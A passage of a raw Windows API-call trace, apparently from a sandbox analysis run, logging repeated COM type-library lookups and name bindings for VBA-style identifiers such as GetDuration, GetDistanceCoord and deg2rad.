ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.950] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.950] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.951] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.951] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267028 | out: pVarVal=0x267028*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.951] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.951] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267020, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266f30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.952] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266fd0 | out: ppvObject=0x266fd0*=0x0) returned 0x80004002 [0036.952] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266ff8, pDummy=0x10 | out: ppTypeAttr=0x266ff8, pDummy=0x10) returned 0x0 [0036.952] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.952] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.952] IUnknown:Release (This=0x8087e90) returned 0x5 [0036.952] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.952] IUnknown:AddRef (This=0x8087e90) returned 0x6 [0036.952] IUnknown:Release (This=0x8087e90) returned 0x5 [0036.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GetDuration") returned 0x10afb5 [0036.952] strcpy_s (in: _Dst=0x267000, _DstSize=0xc, _Src="GetDuration" | out: _Dst="GetDuration") returned 0x0 [0036.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=12 | out: lpWideCharStr="GetDuration") returned 12 [0036.952] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.952] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="GetDuration", lHashVal=0x10afb5, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.952] IUnknown:AddRef (This=0x7f887c0) returned 0x10 [0036.952] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="GetDuration", lHashVal=0x10afb5, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.952] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.952] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="GetDuration", lHashVal=0x10afb5, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.952] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.952] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="GetDuration", lHashVal=0x10afb5, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.952] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.952] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232b9a, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=13 | out: lpWideCharStr="GetDuration") returned 12 [0036.952] ITypeComp:RemoteBind (in: This=0x8087de8, szName="GetDuration", lHashVal=0x10afb5, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.952] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xc, _Src=0x2ff2bc2 | out: _Dst=0x2672f0) returned 0x0 [0036.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GetDistanceCoord") returned 0x100491 [0036.952] strcpy_s (in: _Dst=0x267000, _DstSize=0x11, _Src="GetDistanceCoord" | out: _Dst="GetDistanceCoord") returned 0x0 [0036.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=17, lpWideCharStr=0x266e50, cchWideChar=17 | out: lpWideCharStr="GetDistanceCoord") returned 17 [0036.952] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.952] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="GetDistanceCoord", lHashVal=0x100491, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.952] IUnknown:AddRef (This=0x7f887c0) returned 0x10 [0036.952] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="GetDistanceCoord", lHashVal=0x100491, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.952] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.953] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="GetDistanceCoord", lHashVal=0x100491, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.953] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.953] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="GetDistanceCoord", lHashVal=0x100491, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.953] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.953] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232bc6, cbMultiByte=17, lpWideCharStr=0x266e50, cchWideChar=18 | out: lpWideCharStr="GetDistanceCoord") returned 17 [0036.953] ITypeComp:RemoteBind (in: This=0x8087de8, szName="GetDistanceCoord", lHashVal=0x100491, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.953] IMalloc:Realloc (This=0x7feff045380, pv=0x819bb50, cb=0x100) returned 0x8195b70 [0036.953] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0x11, _Src=0x2ff2f9a | out: _Dst=0x2672f0) returned 0x0 [0036.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="deg2rad") returned 0x10d6db [0036.953] strcpy_s (in: _Dst=0x267000, _DstSize=0x8, _Src="deg2rad" | out: _Dst="deg2rad") returned 0x0 [0036.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=8, lpWideCharStr=0x266e50, cchWideChar=8 | out: lpWideCharStr="deg2rad") returned 8 [0036.953] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="deg2rad", lHashVal=0x10d6db, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.953] IUnknown:AddRef (This=0x7f887c0) returned 0x10 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="deg2rad", lHashVal=0x10d6db, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.953] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="deg2rad", lHashVal=0x10d6db, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.953] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.953] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="deg2rad", 